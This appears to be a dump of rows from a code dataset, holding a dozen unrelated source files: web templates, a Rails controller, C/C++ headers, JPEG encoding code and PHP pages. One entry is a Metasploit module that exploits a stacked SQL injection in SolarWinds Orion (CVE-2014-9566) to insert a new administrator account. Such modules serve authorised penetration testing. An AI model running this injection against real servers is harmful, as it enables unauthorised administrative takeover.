code
stringlengths 3
1.05M
| repo_name
stringlengths 4
116
| path
stringlengths 3
942
| language
stringclasses 30
values | license
stringclasses 15
values | size
int32 3
1.05M
|
---|---|---|---|---|---|
<ion-header-bar align-title="left" class="bar-positive">
<div class="buttons">
<button class="button button-clear icon ion-chevron-left" ng-click="back('menu');"></button>
</div>
<h1 class="title">Guimo</h1>
</ion-header-bar>
<ion-pane>
<ion-content>
<div class="row">
<div class="col">
<a class="button button-energized button-full" ng-click="changeValue('food')">Resetar Comida</a>
<a class="button button-assertive button-full"ng-click="changeValue('health')">Resetar Saúde</a>
<a class="button button-calm button-full" ng-click="changeValue('fome')">Fome</a>
<a class="button button-balanced button-full" ng-click="changeValue('sick')">Doente</a>
<a class="button button-positive button-full" ng-show="connected" ng-click="changeValue('screen')">Tela Padrão</a>
</div>
</div>
</ion-content>
</ion-pane> | guimotoys/guimo_app | www/templates/menuSecreto.html | HTML | gpl-3.0 | 909 |
/*
* Copyright (c) 2010 Apple Inc. All rights reserved.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. The rights granted to you under the License
* may not be used to create, or enable the creation or redistribution of,
* unlawful or unlicensed copies of an Apple operating system, or to
* circumvent, violate, or enable the circumvention or violation of, any
* terms of an Apple operating system software license agreement.
*
* Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
*/
#ifndef _SYS_CONTENT_PROTECTION_H_
#define _SYS_CONTENT_PROTECTION_H_
#ifdef PRIVATE
/*
* Protection classes vary in their restrictions on read/writability. A is generally
* the strictest, and D is effectively no restriction.
*/
/*
* dir_none forces new items created in the directory to pick up the mount point default
* protection level. it is only allowed for directories.
*/
#define PROTECTION_CLASS_DIR_NONE 0
#define PROTECTION_CLASS_A 1
#define PROTECTION_CLASS_B 2
#define PROTECTION_CLASS_C 3
#define PROTECTION_CLASS_D 4
#define PROTECTION_CLASS_E 5
#define PROTECTION_CLASS_F 6
/*
* This forces open_dprotected_np to behave as though the file were created with
* the traditional open(2) semantics.
*/
#define PROTECTION_CLASS_DEFAULT (-1)
#endif /* PRIVATE */
#endif /* _SYS_CONTENT_PROTECTION_H_ */
| p01arst0rm/decorum-linux | _resources/kernels/xnu-x86/bsd/sys/content_protection.h | C | gpl-3.0 | 2,157 |
class HomeController < ApplicationController
def index
@movies = Movie.all.sort_by{|movie| movie.rank}.reverse.first(7)
@books = Book.all.sort_by{|book| book.rank}.reverse.first(7)
@albums = Album.all.sort_by{|album| album.rank}.reverse.first(7)
end
end
| ricarora/media-ranker | app/controllers/home_controller.rb | Ruby | gpl-3.0 | 270 |
{% load application_view_menu %}
<div id="application-view-header">
<h1>report: <a href="/report/#report/{{ report.pk }}/details/">{{ report.name }}</a></h1>
</div>
{% application_view_menu object report.pk %}
<div class="application-view-content clearfix">
<div class="text-bullet">
<span class="name">link:</span>
<span class="value">
<a href="/report/external/{{ report.bound_link }}" target="_blank">
{% if request.is_secure %}https:{% else %}http:{% endif %}//{{ request.get_host }}/report/external/{{ report.bound_link }}
</a>
</span>
</div>
<div class="text-bullet">
<span class="name">public:</span>
<span class="value">{{ report.public|yesno }}</span>
</div>
</div>
<div class="application-view-content clearfix">
{{ report.content }}
</div>
| qualitio/qualitio | qualitio/templates/report/report_bound.html | HTML | gpl-3.0 | 812 |
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated by a tool.
//
// Changes to this file may cause incorrect behavior and will be lost if
// the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
public partial class CMSWebParts_CustomTables_CustomTableForm {
/// <summary>
/// pnlUIContext control.
/// </summary>
/// <remarks>
/// Auto-generated field.
/// To modify move field declaration from designer file to code-behind file.
/// </remarks>
protected global::CMS.ExtendedControls.UIContextPanel pnlUIContext;
/// <summary>
/// form control.
/// </summary>
/// <remarks>
/// Auto-generated field.
/// To modify move field declaration from designer file to code-behind file.
/// </remarks>
protected global::CMS.FormControls.CustomTableForm form;
}
| CCChapel/ccchapel.com | CMS/CMSWebParts/CustomTables/CustomTableForm.ascx.designer.cs | C# | gpl-3.0 | 995 |
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Solarwinds Orion AccountManagement.asmx GetAccounts Admin Creation',
'Description' => %q{
This module exploits a stacked SQL injection in order to add an administrator user to the
SolarWinds Orion database.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Brandon Perry' #discovery/metasploit module
],
'References' =>
[
['CVE', '2014-9566']
],
'DisclosureDate' => 'Feb 24 2015'
))
register_options(
[
Opt::RPORT(8787),
OptString.new('TARGETURI', [ true, "Base Orion directory path", '/']),
OptString.new('USERNAME', [true, 'The username to authenticate as', 'Guest']),
OptString.new('PASSWORD', [false, 'The password to authenticate with', ''])
], self.class)
end
def login (username,password)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'Orion', 'Login.aspx')
})
viewstate = $1 if res.body =~ /id="__VIEWSTATE" value="(.*)" \/>/
cookie = res.get_cookies
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'Orion', 'Login.aspx'),
'method' => 'POST',
'vars_post' => {
'__EVENTTARGET' => '',
'__EVENTARGUMENT' => '',
'__VIEWSTATE' => viewstate,
'ctl00$BodyContent$Username' => username,
'ctl00$BodyContent$Password' => password
},
'cookie' => cookie
})
if res.nil?
fail_with(Failure::UnexpectedReply, "Server didn't respond in an expected way")
end
if res.code == 200
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
end
return cookie + ';' + res.get_cookies
end
def run
cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
username = Rex::Text.rand_text_alpha(8)
print_status("Logged in as #{datastore['USERNAME']}, sending payload to create #{username} admin user.")
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'Orion', 'Services', 'AccountManagement.asmx' '/GetAccounts'),
'method' => 'POST',
'vars_get' => {
'sort' => 'Accounts.AccountID', #also vulnerable
'dir' => "ASC;insert into accounts values ('#{username}', '127-510823478-74417-8', '/+PA4Zck3arkLA7iwWIugnAEoq4ocRsYjF7lzgQWvJc+pepPz2a5z/L1Pz3c366Y/CasJIa7enKFDPJCWNiKRg==', 'Feb 1 2100 12:00AM', 'Y', '#{username}', 1, '', '', 1, -1, 8, -1, 4, 0, 0, 0, 0, 0, 0, 'Y', 'Y', 'Y', 'Y', 'Y', '', '', 0, 0, 0, 'N', 'Y', '', 1, '', 0, '');"
},
'data' => '{"accountId":""}',
'cookie' => cookie,
'ctype' => 'application/json'
})
login(username, '')
print_good("The injection worked, log in with #{username} and a blank password")
end
end
| cSploit/android.MSF | modules/auxiliary/gather/solarwinds_orion_sqli.rb | Ruby | gpl-3.0 | 3,119 |
#!/usr/bin/env bash
set -e
if [ ${TARGET} = "win64" ]; then
EXTENSION=zip
else
if [ ${TRAVIS_OS_NAME} = "linux" ]; then
EXTENSION=tar.gz
else
EXTENSION=dmg
fi
fi
curl -T OpenPSTD-${OPENPSTD_MAJOR_VERSION}.${OPENPSTD_MINOR_VERSION}.${TRAVIS_BUILD_NUMBER}-${TARGET}.${EXTENSION} ${WEBDAV}
| openPSTD/openPSTD | build/upload_webdav.sh | Shell | gpl-3.0 | 321 |
/**
******************************************************************************
* @file LibJPEG/LibJPEG_Encoding/Src/encode.c
* @author MCD Application Team
* @version V1.1.0
* @date 17-February-2017
* @brief This file contain the compress method.
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2017 STMicroelectronics International N.V.
* All rights reserved.</center></h2>
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted, provided that the following conditions are met:
*
* 1. Redistribution of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
* 3. Neither the name of STMicroelectronics nor the names of other
* contributors to this software may be used to endorse or promote products
* derived from this software without specific written permission.
* 4. This software, including modifications and/or derivative works of this
* software, must execute solely and exclusively on microcontroller or
* microprocessor devices manufactured by or for STMicroelectronics.
* 5. Redistribution and use of this software other than as permitted under
* this license is void and will automatically terminate your rights under
* this license.
*
* THIS SOFTWARE IS PROVIDED BY STMICROELECTRONICS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS, IMPLIED OR STATUTORY WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A
* PARTICULAR PURPOSE AND NON-INFRINGEMENT OF THIRD PARTY INTELLECTUAL PROPERTY
* RIGHTS ARE DISCLAIMED TO THE FULLEST EXTENT PERMITTED BY LAW. IN NO EVENT
* SHALL STMICROELECTRONICS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
* OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
******************************************************************************
*/
/* Includes ------------------------------------------------------------------*/
#include "encode.h"
/* Private typedef -----------------------------------------------------------*/
/* This struct contains the JPEG compression parameters */
static struct jpeg_compress_struct cinfo;
/* This struct represents a JPEG error handler */
static struct jpeg_error_mgr jerr;
/* Private define ------------------------------------------------------------*/
/* Private macro -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private function prototypes -----------------------------------------------*/
/* Private functions ---------------------------------------------------------*/
extern RGB_typedef *RGB_matrix;
/**
* @brief Jpeg Encode
* @param file: pointer to the bmp file
* @param file1: pointer to the jpg file
* @param width: image width
* @param height: image height
* @param image_quality: image quality
* @param buff: pointer to the image line
* @retval None
*/
void jpeg_encode(JFILE *file, JFILE *file1, uint32_t width, uint32_t height, uint32_t image_quality, uint8_t * buff)
{
/* Encode BMP Image to JPEG */
JSAMPROW row_pointer; /* Pointer to a single row */
uint32_t bytesread;
/* Step 1: allocate and initialize JPEG compression object */
/* Set up the error handler */
cinfo.err = jpeg_std_error(&jerr);
/* Initialize the JPEG compression object */
jpeg_create_compress(&cinfo);
/* Step 2: specify data destination */
jpeg_stdio_dest(&cinfo, file1);
/* Step 3: set parameters for compression */
cinfo.image_width = width;
cinfo.image_height = height;
cinfo.input_components = 3;
cinfo.in_color_space = JCS_RGB;
/* Set default compression parameters */
jpeg_set_defaults(&cinfo);
cinfo.dct_method = JDCT_FLOAT;
jpeg_set_quality(&cinfo, image_quality, TRUE);
/* Step 4: start compressor */
jpeg_start_compress(&cinfo, TRUE);
/* Bypass the header bmp file */
f_read(file, buff, 54, (UINT*)&bytesread);
while (cinfo.next_scanline < cinfo.image_height)
{
/* In this application, the input file is a BMP, which first encodes the bottom of the picture */
/* JPEG encodes the highest part of the picture first. We need to read the lines upside down */
/* Move the read pointer to 'last line of the picture - next_scanline' */
f_lseek(file, ((cinfo.image_height-1-cinfo.next_scanline)*width*3)+54);
if(f_read(file, buff, width*3, (UINT*)&bytesread) == FR_OK)
{
row_pointer = (JSAMPROW)buff;
jpeg_write_scanlines(&cinfo, &row_pointer, 1);
}
}
/* Step 5: finish compression */
jpeg_finish_compress(&cinfo);
/* Step 6: release JPEG compression object */
jpeg_destroy_compress(&cinfo);
}
/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
| TRothfelder/Multicopter | libs/STM32Cube_FW_F4_V1.16.0/Projects/STM32469I_EVAL/Applications/LibJPEG/LibJPEG_Encoding/Src/encode.c | C | gpl-3.0 | 5,814 |
//------------------------------------------------------------------------------
// <auto-generated>
// This code was generated from a template.
//
// Manual changes to this file may cause unexpected behavior in your application.
// Manual changes to this file will be overwritten if the code is regenerated.
// </auto-generated>
//------------------------------------------------------------------------------
namespace FoodInventory.Data.Models
{
using System;
using System.Data.Entity;
using System.Data.Entity.Infrastructure;
public partial class FoodInventoryEntities : DbContext
{
public FoodInventoryEntities()
: base("name=FoodInventoryEntities")
{
}
protected override void OnModelCreating(DbModelBuilder modelBuilder)
{
throw new UnintentionalCodeFirstException();
}
public virtual DbSet<Product> Products { get; set; }
}
}
| ckoeber/foodinventory | FoodInventory.Data/Models/FoodInventory.Context.cs | C# | gpl-3.0 | 969 |
//
// This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, vhudson-jaxb-ri-2.1-2
// See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a>
// Any modifications to this file will be lost upon recompilation of the source schema.
// Generated on: 2014.05.14 at 05:14:09 PM CDT
//
@javax.xml.bind.annotation.XmlSchema(namespace = "http://www.opengis.net/kml/2.2", elementFormDefault = javax.xml.bind.annotation.XmlNsForm.QUALIFIED)
package hortonworks.hdp.refapp.trucking.simulator.impl.domain.transport.route.jaxb;
| abeym/incubator | Trials/hdp/reference-apps/iot-trucking-app/trucking-data-simulator/src/main/java/hortonworks/hdp/refapp/trucking/simulator/impl/domain/transport/route/jaxb/package-info.java | Java | gpl-3.0 | 584 |
/*
Stockfish, a UCI chess playing engine derived from Glaurung 2.1
Copyright (C) 2004-2008 Tord Romstad (Glaurung author)
Copyright (C) 2008-2014 Marco Costalba, Joona Kiiski, Tord Romstad
Stockfish is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Stockfish is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef THREAD_H_INCLUDED
#define THREAD_H_INCLUDED
#include <bitset>
#include <condition_variable>
#include <mutex>
#include <thread>
#include <vector>
#include "material.h"
#include "movepick.h"
#include "pawns.h"
#include "position.h"
#include "search.h"
const int MAX_THREADS = 128;
const int MAX_SPLITPOINTS_PER_THREAD = 8;
struct Thread;
struct SplitPoint {
// Const data after split point has been setup
const Position* pos;
const Search::Stack* ss;
Thread* masterThread;
Depth depth;
Value beta;
int nodeType;
bool cutNode;
// Const pointers to shared data
MovePicker* movePicker;
SplitPoint* parentSplitPoint;
// Shared data
std::mutex mutex;
std::bitset<MAX_THREADS> slavesMask;
volatile bool allSlavesSearching;
volatile uint64_t nodes;
volatile Value alpha;
volatile Value bestValue;
volatile Move bestMove;
volatile int moveCount;
volatile bool cutoff;
};
/// ThreadBase struct is the base of the hierarchy from where we derive all the
/// specialized thread classes.
struct ThreadBase {
ThreadBase() : exit(false) {}
virtual ~ThreadBase() {}
virtual void idle_loop() = 0;
void notify_one();
void wait_for(volatile const bool& b);
std::thread nativeThread;
std::mutex mutex;
std::condition_variable sleepCondition;
volatile bool exit;
};
/// Thread struct keeps together all the thread related stuff like locks, state
/// and especially split points. We also use per-thread pawn and material hash
/// tables so that once we get a pointer to an entry its life time is unlimited
/// and we don't have to care about someone changing the entry under our feet.
struct Thread : public ThreadBase {
Thread();
virtual void idle_loop();
bool cutoff_occurred() const;
bool available_to(const Thread* master) const;
template <bool Fake>
void split(Position& pos, const Search::Stack* ss, Value alpha, Value beta, Value* bestValue, Move* bestMove,
Depth depth, int moveCount, MovePicker* movePicker, int nodeType, bool cutNode);
SplitPoint splitPoints[MAX_SPLITPOINTS_PER_THREAD];
Material::Table materialTable;
Endgames endgames;
Pawns::Table pawnsTable;
Position* activePosition;
size_t idx;
int maxPly;
SplitPoint* volatile activeSplitPoint;
volatile int splitPointsSize;
volatile bool searching;
};
/// MainThread and TimerThread are derived classes used to characterize the two
/// special threads: the main one and the recurring timer.
struct MainThread : public Thread {
MainThread() : thinking(true) {} // Avoid a race with start_thinking()
virtual void idle_loop();
volatile bool thinking;
};
struct TimerThread : public ThreadBase {
TimerThread() : run(false) {}
virtual void idle_loop();
bool run;
static const int Resolution = 5; // msec between two check_time() calls
};
/// ThreadPool struct handles all the threads related stuff like init, starting,
/// parking and, most importantly, launching a slave thread at a split point.
/// All the access to shared thread data is done through this class.
struct ThreadPool : public std::vector<Thread*> {
void init(); // No c'tor and d'tor, threads rely on globals that should
void exit(); // be initialized and are valid during the whole thread lifetime.
MainThread* main() { return static_cast<MainThread*>((*this)[0]); }
void read_uci_options();
Thread* available_slave(const Thread* master) const;
void wait_for_think_finished();
void start_thinking(const Position&, const Search::LimitsType&, Search::StateStackPtr&);
Depth minimumSplitDepth;
std::mutex mutex;
std::condition_variable sleepCondition;
TimerThread* timer;
};
extern ThreadPool Threads;
#endif // #ifndef THREAD_H_INCLUDED
| Kozlov-Sergey/Wizard-Junior-chess | src_c++11/thread.h | C | gpl-3.0 | 4,548 |
<?php
/**
* Mahara: Electronic portfolio, weblog, resume builder and social networking
* Copyright (C) 2006-2009 Catalyst IT Ltd and others; see:
* http://wiki.mahara.org/Contributors
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* @package mahara
* @subpackage artefact-resume
* @author Catalyst IT Ltd
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL
* @copyright (C) 2006-2009 Catalyst IT Ltd http://catalyst.net.nz
*
*/
define('INTERNAL', 1);
define('JSON', 1);
if (isset($_POST['view'])) {
define('PUBLIC', 1);
}
require(dirname(dirname(dirname(__FILE__))) . '/init.php');
safe_require('artefact', 'resume');
$limit = param_integer('limit', null);
$offset = param_integer('offset', 0);
$type = param_alpha('type');
$view = param_integer('view', 0);
$data = array();
$count = 0;
$othertable = 'artefact_resume_' . $type;
$owner = $USER->get('id');
$sql = 'SELECT ar.*, a.owner
FROM {artefact} a
JOIN {' . $othertable . '} ar ON ar.artefact = a.id
WHERE a.owner = ? AND a.artefacttype = ?
ORDER BY ar.displayorder';
if (!empty($view)) {
if (!can_view_view($view)) {
throw new AccessDeniedException();
}
require_once('view.php');
$v = new View($view);
$owner = $v->get('owner');
}
if (!$data = get_records_sql_array($sql, array($owner, $type))) {
$data = array();
}
$count = count_records('artefact', 'owner', $owner, 'artefacttype', $type);
echo json_encode(array(
'data' => $data,
'limit' => $limit,
'offset' => $offset,
'count' => $count,
'type' => $type));
?>
| richardmansfield/richardms-mahara | htdocs/artefact/resume/composite.json.php | PHP | gpl-3.0 | 2,211 |
<?php
$client = ClientData::getById($_GET["id"]);
$client->del();
$_SESSION['message'] = L::messages_del_with_success;
$_SESSION['alert_type'] = 'success';
Core::redir("./index.php?view=clients");
?> | CTA-IFRS/Sistema-bibliotecario | core/modules/index/action/delclient/action-default.php | PHP | gpl-3.0 | 201 |
/**
* @addtogroup OutputTranslator
* @{
* @file OutputTranslator/Scala.hh
* @author Massimiliano Pagani
* @version 1.0
* @date 2016-10-18
*
*/
#if !defined( OUTPUTTRANSLATOR_SCALA_HH )
#define OUTPUTTRANSLATOR_SCALA_HH
#include "OutputTranslator/Base.hh"
#include "Tydal/Grammar/BaseType.hh"
#include "Tydal/Grammar/VariantType.hh"
namespace OutputTranslator
{
class Scala : public Base
{
private:
virtual void translateRecord( std::string const& name,
std::shared_ptr<Tydal::Grammar::RecordType const> recordType,
std::ostream& out ) override;
virtual void translateEnum( std::string const& name,
std::shared_ptr<Tydal::Grammar::EnumType const> enumType,
std::ostream& out ) override;
virtual void translateString( std::string const& name,
std::shared_ptr<Tydal::Grammar::StringType const> stringType,
std::ostream& out ) override;
virtual void translateSimpleType( std::string const& name,
std::shared_ptr<Tydal::Grammar::SimpleType const> simpleType,
std::ostream& out ) override;
virtual void translateArray( std::string const& name,
std::shared_ptr<Tydal::Grammar::ArrayType const> arrayType,
std::ostream& out ) override;
void translateVariantBranch( std::string const& name,
std::shared_ptr<Tydal::Grammar::VariantType const> variant,
std::shared_ptr<Tydal::Grammar::VariantCaseEntry const> branch,
std::ostream& out );
void translateRecordVariant( std::string const& name,
std::shared_ptr<Tydal::Grammar::RecordType const> recordType,
std::ostream& out );
void translateFields( std::string const& name,
std::shared_ptr<Tydal::Grammar::RecordType const> recordType,
std::ostream& out );
void translateVariantBranches( std::string const& name,
std::shared_ptr<Tydal::Grammar::RecordType const> recordType,
std::ostream& out );
void translateSimpleRecord( std::string const& name,
std::shared_ptr<Tydal::Grammar::RecordType const> recordType,
std::ostream& out );
void translateSubRecords( std::string const& name,
std::shared_ptr<Tydal::Grammar::RecordType const> recordType,
std::ostream& out );
void printField( std::ostream& out,
Tydal::Grammar::RecordType::ConstIterator::value_type const& field );
void
tydalTypeToScala( std::shared_ptr<Tydal::Grammar::BaseType const> type,
std::string const& fieldName,
std::ostream& out );
void pushEnclosingRecordName( std::string const& recordName );
void popEnclosingRecordName();
std::vector<std::string> const& getEnclosingRecordNames() const;
std::string getRecordNames() const;
std::vector<std::string> m_enclosingRecordNames;
};
} // end of namespace OutputTranslator
#endif
///@}
| maxpagani/tydal | Sources/OutputTranslator/Scala.hh | C++ | gpl-3.0 | 3,843 |
{% load wagtailcore_tags wagtailimages_tags jetstream_tags %}
<div class="row-wrapper {{ self.style }}
{% if self.background.background_color or self.background.background_image %} bg {% endif %}
{% if self.background.background_color and not self.background.background_image %} bg-color-{{ self.background.background_color }}{% endif %}
"
{% if self.background.background_image %}
{% image self.background.background_image original as img_data %}
style="background-image: url('{{ img_data.url }}');"
{% endif %}
>
<div class="row gutter-{{ self.gutter_width }}px">
{% subtract_from_twelve self.column_one_width self.column_two_width self.column_three_width as fill_width %}
<div class="four-col-item grid-item col-md-{{ self.column_one_width }} col-sm-{{ self.column_one_width }}">
{% for block in self.column_one %}
{% if block.block_type == 'heading' %}
<h1>{{ block.value }}</h1>
{% else %}
<section class="block-{{ block.block_type }}">
{% if parent_width %}
{% width_from_arbitrary_parent parent_width self.column_one_width self.gutter_width as my_width %}
{% include_block block with parent_width=my_width parent_height=self.fixed_height parent_gutter_width=self.gutter_width %}
{% else %}
{% width_from_arbitrary_parent 1000 self.column_one_width self.gutter_width as my_width %}
{% include_block block with parent_width=my_width parent_height=self.fixed_height parent_gutter_width=self.gutter_width %}
{% endif %}
</section>
{% endif %}
{% endfor %}
</div>
<div class="four-col-item grid-item col-md-{{ self.column_two_width }} col-sm-{{ self.column_two_width }}">
{% for block in self.column_two %}
{% if block.block_type == 'heading' %}
<h1>{{ block.value }}</h1>
{% else %}
<section class="block-{{ block.block_type }}">
{% if parent_width %}
{% width_from_arbitrary_parent parent_width self.column_two_width self.gutter_width as my_width %}
{% include_block block with parent_width=my_width parent_height=self.fixed_height parent_gutter_width=self.gutter_width %}
{% else %}
{% width_from_arbitrary_parent 1000 self.column_two_width self.gutter_width as my_width %}
{% include_block block with parent_width=my_width parent_height=self.fixed_height parent_gutter_width=self.gutter_width %}
{% endif %}
</section>
{% endif %}
{% endfor %}
</div>
<div class="four-col-item grid-item col-md-{{ self.column_three_width }} col-sm-{{ self.column_three_width }}">
{% for block in self.column_three %}
{% if block.block_type == 'heading' %}
<h1>{{ block.value }}</h1>
{% else %}
<section class="block-{{ block.block_type }}">
{% if parent_width %}
{% width_from_arbitrary_parent parent_width self.column_three_width self.gutter_width as my_width %}
{% include_block block with parent_width=my_width parent_height=self.fixed_height parent_gutter_width=self.gutter_width %}
{% else %}
{% width_from_arbitrary_parent 1000 self.column_three_width self.gutter_width as my_width %}
{% include_block block with parent_width=my_width parent_height=self.fixed_height parent_gutter_width=self.gutter_width %}
{% endif %}
</section>
{% endif %}
{% endfor %}
</div>
<div class="four-col-item grid-item col-md-{{ fill_width }} col-sm-{{ fill_width }}">
{% for block in self.column_four %}
{% if block.block_type == 'heading' %}
<h1>{{ block.value }}</h1>
{% else %}
<section class="block-{{ block.block_type }}">
{% if parent_width %}
{% width_from_arbitrary_parent parent_width fill_width self.gutter_width as my_width %}
{% include_block block with parent_width=my_width parent_height=self.fixed_height parent_gutter_width=self.gutter_width %}
{% else %}
{% width_from_arbitrary_parent 1000 fill_width self.gutter_width as my_width %}
{% include_block block with parent_width=my_width parent_height=self.fixed_height parent_gutter_width=self.gutter_width %}
{% endif %}
</section>
{% endif %}
{% endfor %}
</div>
</div>
</div>
| caltechads/wagtail-jetstream | jetstream/templates/jetstream/blocks/layout/four_column_block.html | HTML | gpl-3.0 | 4,509 |
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Theme tester tool
*
* @package tool_themetester
* @copyright Copyright (c) 2015 Moodlerooms Inc. (http://www.moodlerooms.com)
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
require_once(dirname(__FILE__) . '/../../../../../../../config.php');
require_once($CFG->libdir . '/adminlib.php');
$strheading = 'Theme Tester: Bootstrap 4 CSS : Sizing';
$url = new moodle_url('/admin/tool/themetester/bootswatch4.php');
// Start setting up the page.
$params = array();
$PAGE->set_context(context_system::instance());
$PAGE->set_url($url);
$PAGE->set_title($strheading);
$PAGE->set_heading("Sizing");
$PAGE->requires->jquery();
$PAGE->requires->css('/admin/tool/themetester/docsearch.min.css');
$PAGE->requires->css('/admin/tool/themetester/assets/css/docs.min.css');
admin_externalpage_setup('toolthemetester');
echo $OUTPUT->header();
echo html_writer::link(new moodle_url('/admin/tool/themetester/index.php'), '« Back to index');
echo $OUTPUT->heading($strheading);
?>
<!-- Favicons -->
<link rel="apple-touch-icon" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/img/favicons/apple-touch-icon.png" sizes="180x180">
<link rel="icon" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/img/favicons/favicon-32x32.png" sizes="32x32" type="image/png">
<link rel="icon" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/img/favicons/favicon-16x16.png" sizes="16x16" type="image/png">
<link rel="manifest" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/img/favicons/manifest.json">
<link rel="mask-icon" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/img/favicons/safari-pinned-tab.svg" color="#563d7c">
<link rel="icon" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/favicon.ico">
<meta name="msapplication-config" content="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/assets/img/favicons/browserconfig.xml">
<meta name="theme-color" content="#563d7c">
<!-- Twitter -->
<meta name="twitter:card" content="summary">
<meta name="twitter:site" content="@getbootstrap">
<meta name="twitter:creator" content="@getbootstrap">
<meta name="twitter:title" content="Sizing">
<meta name="twitter:description" content="Easily make an element as wide or as tall (relative to its parent) with our width and height utilities.">
<meta name="twitter:image" content="/assets/brand/bootstrap-social-logo.png">
<!-- Facebook -->
<meta property="og:url" content="/docs/4.0/utilities/sizing/">
<meta property="og:title" content="Sizing">
<meta property="og:description" content="Easily make an element as wide or as tall (relative to its parent) with our width and height utilities.">
<meta property="og:type" content="website">
<meta property="og:image" content="/assets/brand/bootstrap-social.png">
<meta property="og:image:secure_url" content="/assets/brand/bootstrap-social.png">
<meta property="og:image:type" content="image/png">
<meta property="og:image:width" content="1200">
<meta property="og:image:height" content="630">
<div class="container-fluid">
<div class="row flex-xl-nowrap">
<div class="col-12 col-md-3 col-xl-2 bd-sidebar">
<form class="bd-search d-flex align-items-center">
<input type="search" class="form-control" id="search-input" placeholder="Search..." aria-label="Search for..." autocomplete="off">
<button class="btn btn-link bd-search-docs-toggle d-md-none p-0 ml-3" type="button" data-toggle="collapse" data-target="#bd-docs-nav" aria-controls="bd-docs-nav" aria-expanded="false" aria-label="Toggle docs navigation"><svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 30 30" width="30" height="30" focusable="false"><title>Menu</title><path stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-miterlimit="10" d="M4 7h22M4 15h22M4 23h22"/></svg>
</button>
</form>
<nav class="collapse bd-links" id="bd-docs-nav"><div class="bd-toc-item">
<a class="bd-toc-link" href="<?php echo $CFG->wwwroot ?>/admin/tool/themetester/docs/4.0/getting-started/introduction/">
Getting started
</a>
